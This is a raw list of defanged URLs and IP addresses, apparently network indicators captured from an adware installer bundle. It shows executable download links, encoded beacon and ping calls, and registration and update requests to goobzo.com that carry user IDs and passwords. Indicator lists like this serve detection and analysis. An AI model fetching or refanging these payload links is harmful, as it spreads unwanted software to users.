hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffRe18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLXDQxT8NdYE8=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WX1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwYm9tG4FxWRj
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxgZiB55ZFi61JGN3eG3IQ7YqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qLXmYbGH27kp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6ndhsDnEtZjeg==
hxxp://d31kvmpgk4j074.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.230.44.254
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCWJl7EWMlLjgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwXpxcP5HVAo
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO830SU44 VAZx7JfD/ZiMQyol6Hp9RdsFeXk7XK CmrNxcIlv44qhzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgT/NjI/ADPAQjKjHf0fty0jaP8uCRyw5tAmNZZ2BmWR2YCpHZc9ZUaE6e8rOu6iJpxQC drCF7eFzkjJuEmyP5Qt vpQc1Xk5wfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EPdWC37syN6c4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYFLZWhEyhE6oA==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=N6dOqWm8Q95zRTWqMhK921TMxLPMegp5w7yrMs7NkxmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3X4l9XCm/Va8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwefLntFW0zc701JCwbnyZJvRrEIY7kGBxo JtFmX42fhH8BpzHlelGWhoQhcnWLYhOuZT5QepDhWmQg3QHod5Z21J2oWtKgdryp/sUwP8UjkzdT/T0Mo01fmtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQliZexFjJS44GH02ZDTF81o7EaJf8CJfPgEgBl18xKcF6cXD R1QKA==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO830SU44 VAZx7JfD/ZiMQyol6Hp9RdsFeXk7XK CmrNxcIlv44qhzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgT/NjI/ADPAQjKjHf0fty0jaP8uCRyw5tAmNZZ2BmWR2YCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl9cfTSnosKXf2U5Qzonv0uAIrnsdhGFjIQwSEpGM 08GJvbRuBcVkYw==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=1ZEnpGuz/IQqQvvNc0/QxO830SU44 VAZx7JfD/ZiMQyol6Hp9RdsFeXk7XK CmrNxcIlv44qhzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgT/NjI/ADPAQjKjHf0fty0jaP8uCRyw5tAmNZZ2BmWR2YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvFyeHxM26vSiI5papMGoV55tX2z9Nc4txq4itcuKeFMrOYc/zRYa8pyrBnDEBfh98=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=Ka qOJkckoXHjWHokC5IQIA D8trw5MJ7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vJ4OxRLqwrjFGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3rzdVa8AzUodyGF7cakCx09jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5KeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup3YbA5xLWY3o=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=043Mckb8Lnhw7iCtSAyu/yxcBYBT1h/GR1XIUS4mz4VAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/pjkZwwc6dH7Uh 3ZGDmdW5pZis9f nTddyS4BuUDC9Ua9iR8Lp3n3ocq/LZ/7HCQEr28uHT2a1fiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WX1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwYm9tG4FxWRj
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN9sxeMUIMJR/YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPt/0XcjoL3VJQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS8XJ4fEzbq9KIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrynKsGcMQF H3w==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlHaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS743oquM6YSXpzpDp5WNdxbzP/mug6NI0uACWBozAPE/QHXC5f7/IDo=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlGw6kHnR XV4QBZGQjpShx/0JQd5HxgIXfzJOtUCXhvpF40BjlF1LoxV7dDySv7ML7ib 8lcO8XYbxKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSFivmz2/8oMyu11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl9cfTSnosKXf2U5Qzonv0uAIrnsdhGFjIQwSEpGM 08GJvbRuBcVkYw==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23783.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN9sxeMUIMJR/YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPu3mNG2ouchQGAGBAmUlF5unh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pzjIpN1LJrzBQ10b3mYTWxvSQQFddyO yd2joo5c5pgUtlaETKETqg
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlGyMyEnHNejvIwWNawbTP05KYX3Ti/i3YM1BHIdlrIHvMRqdNksZyqGQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxY8W90WdBuycADl xWQTBfA89CZD3BXR5xILWP/u7ZkwhCLBI5B1hF
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlHaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YNYlTZYFVSl7P5bll8sXmM64i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl9cfTSnosKXf2U5Qzonv0uAIrnsdhGFjIQwSEpGM 08GJvbRuBcVkYw==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=o4wkB1bL2nIsXAWAU9YfxuKfPARRv72IQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0GcCzgaLtg/s4GH02ZDTF81o7EaJf8CJfPgEgBl18xKcFNvXD6mBl4tSSaUQFDqWEnmP3t8anGDfo8Vvghbk4fxVahU/Z994EWgtg 4FS7F1Vson/tlR IHRbglB1j0/SsBdhPvCxS4HxIkD535tYIXvUnRuDcgytBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLxcnh8TNur0oiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKcqwZwxAX4ff
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=2fVCHF6kf8i8qFEAMB5m YJgJLadOwVD7OXLse4BafTbQC nVTu53mZVsyaCUtL6Avy26 fOLXYiOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKRVWaKclJYCzVR5AawbKoxopJb8t2bI2vA/B4f0 bvoYYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG4wueQK7BlSysAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H30XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii1w0MU/DXWBP
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31716.ashx?e=hXeqmv1IpelLnCMxb3UlHyvLfUo0CTVi7ZTHYXaLDVh4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7PaAg1gAvNqNaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31716.ashx?e=hXeqmv1IpelLnCMxb3UlHyvLfUo0CTVi7ZTHYXaLDVh4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7PaAg1gAvNqNaoPZj94HyT6LOwEGQvh2zV2TxY7/sL 44G r 3F6T7U6q7EvjWjEUpXTEKkNwLoQKR8BH1AzvaPPinFkosvv9rREKBtez 7WKW/rKS vRXseduDqkWSFKDNqLLQ53keUHDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PI IqCibN3ldP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ufLDfF0ZTpL1kSjubNqPc5GyEyoZvq4OmB0RNQ 9BzBNqeRPeOqgjazACGY CgK6eqXaZH4mK3kqgSNqV7u8iR3AQSpIJXB7PVUl5TLe7HbDFz5K36yx5JFIty0tWc06ippSFGWqY/tJKkOqc/t3GkiGBNwta2nDUPW0PDhfKgeQxlp6/RhiFWFeKirbRJMxjw0XDVs8QXTQXKAbkOzE8t1GR88PfCMTMW4XjMZJAFqNrMFqx eqzAA0Ab8kjlrHUIsA9895POKuzvjcaXM2AbroBcEjtCTFLBfrHFyPplkNZ6 ltSbGnfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23282.ashx?e=bdqY0vC4PYtUzMSzzHoKeU2V6qgY1YhmjA5kVqVgWdAgLxC0aXqYrYyox39H7ctILL61jPtmKrOq7hB6Hp88JFi2s6XsF8NY0jd2Ua9SYWgE8SFHLIEPsNuIAbgWXib3hDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozsRaU2At1XqvitNU2H6Wzm52wY9krKeIwcv4S/K6mfkWhIAbznvPq9I Ii2JLQzOb 58V3tAJmnjdPcdIfsjJjqt/nuXGC1lQ7xKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSFivmz2/8oMyuHyHmjditethIIQ9x50L9Wv4AmQ uv7HUlShQc1UFowdOaLowHxVqUzoDLB8mzXuNAz141TZvmrVjVHb8nMoW17l wQrR3 lD7cOPv9eDbwnlxfmvLh QeicmnlrBZYQpuJXbJVmvrHvMkT45AWRfK0hkCO8oPau n4ESu u/yuDezsdrKbblqjScV0GsK6DZm5LT87ehXajGtLyeqBAj9t8f6YpiR28Lf7Glpgb86MXoCW2S OZDnmU58ZN CrpHlIUYASPYFbMPwA91/tQmyBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23282.ashx?e=bdqY0vC4PYtUzMSzzHoKeU2V6qgY1YhmjA5kVqVgWdAgLxC0aXqYrYyox39H7ctILL61jPtmKrOq7hB6Hp88JFi2s6XsF8NYPpbX8eNZzIIUAvnawhe3hU72ISjKawWsoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw==
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=3CcYyD3W31ifZNC1TqAoBPxB88GNdBGDfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgedJGuFgMSoJbKMW bKkE5aHXHOzMoXfreuzIeRzata1huhetAXEFso2Hd5atJBamYqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqtvzSMXg z9WmrvcVl0Mf/w== 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrgEsywVOPpl7qpNEI 1DWq5frOw5u44Zd8yIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhq0UUubXBgxtYCpHZc9ZUaF4PzDsAgk936bK2Q7GGGnWzo/w/HffLExyHqaaCgYxqPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9K0abTLIU12YZItlZ1Dhf0/EmjUQkbJhEBSr28YVyfPg8SfsOq8sVv 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTViK3NXCIbUkKJ8HUTlRWqBMpqmf2Jej06Ro0LYMjdINHMQslsRMw lHg8m4UHiIkMCiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdDFv3UUxaCmaxO5DUMAeJYUVsXXNrU8MbsN7/ITptlmJcAeXrDcfXn1 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAbJ8pjs/lobyCxcBYBT1h/GTY7o ykts29gdZ7vVVoir9hXn5fpF0AWcMhU uLDRW9bNt46T8oeTR6lETnJArbeqfOL09Waq4nbzUS3m/7WLONeuBglAqxaHHlbCgpQ5v1r/ZKpWQiXoklGVmqeZFU8n8JlmuEfM7iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfs7/xeJ1qX8tS6qgnFCgftWot9vWKE/6EKNxr/pz/MJmAZSpRiXLg4A== 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAbJ8pjs/lobyCxcBYBT1h/GTY7o ykts29gdZ7vVVoir9hXn5fpF0AWcMhU uLDRW9bNt46T8oeTR6lETnJArbeqfOL09Waq4nbzUS3m/7WLONeuBglAqxaHHlbCgpQ5tCJ2GnHtzkHXfMyWTmYmuAfzApjLfBz7r7ZtsfxNpcZsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9gDcoAJAtAYWupXyB/g5yjGYsEX4kIHlvi5n nh6YVLffopz0y2Q7Y 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZlTMxLPMegp5i9IBntXk4XmovKrJ6qtuelLEqfJll8EjivSYnxWU6cjhuuY8t0g74kvCwL3GJiShrXfIMots/x09LGoxHbVyuYaP0IDq/YEE9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0MW/dRTFoKZrE7kNQwB4lhRWxdc2tTwxuw3v8hOm2WYlwB5esNx9efU= 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRrE5FrKcaNErfeWZZTe8uuHMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5XooDu8/ 0Wy8rJULUDCmwArmOSgIBLqiUA7dl9owwhL1x9NKeiwpd/ZTlDOie/S4Aiuex2EYWMhDBISkYz7TwbarnjbleUUSx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn22SVOcSO6scWRoUV4ogQDN/6Y BmvbybVp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mShho8CAtn6TZ0t5cJY6l3 54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList= 212.143.22.214
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1 212.143.22.214
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1 212.143.22.214
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList= 212.143.22.214
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWPc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj743oquM6YSXpzpDp5WNdxbzP/mug6NI0uACWBozAPE/QHXC5f7/IDoBSr28YVyfPg8SfsOq8sVv 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PiV6vD/UV1iyHQCKxuPRxPeaGzln9Vv6k7XdemwkRcKlLaQaFS VkBZ3QmA92KA lJBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6mKofH8HN0lUh8kpng0IpIJ 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/1667.ashx?e=Feo0TQZfu6JEiM3QAgk1iVTMxLPMegp5 qMWHMhAir2MDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81pGiR8PaLdtKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii0ui/9N2YebIUeZLRmueCpr 7rPtSKe/ MK9kl9XSTz3ezuRQNCtWmBWOvghCBTr/XvKbjUyzCCcFAL52sIXt4UXMdeVS0aoyqaY9smyAWh8SAdAN11JNbBRRAefFHWdvOJv7yVw7xdhvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWK bPb/ygzK3fTzht6ovY1YV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5KeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup3YbA5xLWY3o=
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTVi8EpdpxxWjuKRoZJTpqsyZxASc9FSZWyoGYsEX4kIHltnnIi6DhqTDVTiXSW154aAYra 8n4adNVYtrOl7BfDWH8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/0XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii3TSfjXL3 wp3Ih1Kfu IMReuT yH/uLbpXYC6GwUCFFL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsupiqHx/BzdJVIfJKZ4NCKSCQ== 54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1 212.143.22.214
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4 fec90flyKxMkX9sPQVhQoOH/4D/1WW drxeglkK7bM8DllDAjWZb4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX/Re18ke5PqUolQ9N4vKzl4ltILkcPZHlLF3YFs/ceKLs1ZJVUBHzvfH/jy8G4FGJY4SiD403Los 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVhntxZGpTPDdJj0V1e3C0jlnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDWPFvdFnQbsnAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZPAhhKDaeZjYUKf6pfgWlN19 inPTLZDtg= 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVvVFayGUnBvwp/sUwP8Ujkw9iAWgxkwic8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I N6KrjOmEl6c6Q6eVjXcW8z/5roOjSNLgAlgaMwDxP0B1wuX /yA6AUq9vGFcnz4PEn7DqvLFbw== 54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b2a9a12-ae50-485f-b698-985ad0065d83&Password=4lh92yoP&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064920&SBPIDS=1&KA=1 212.143.22.214
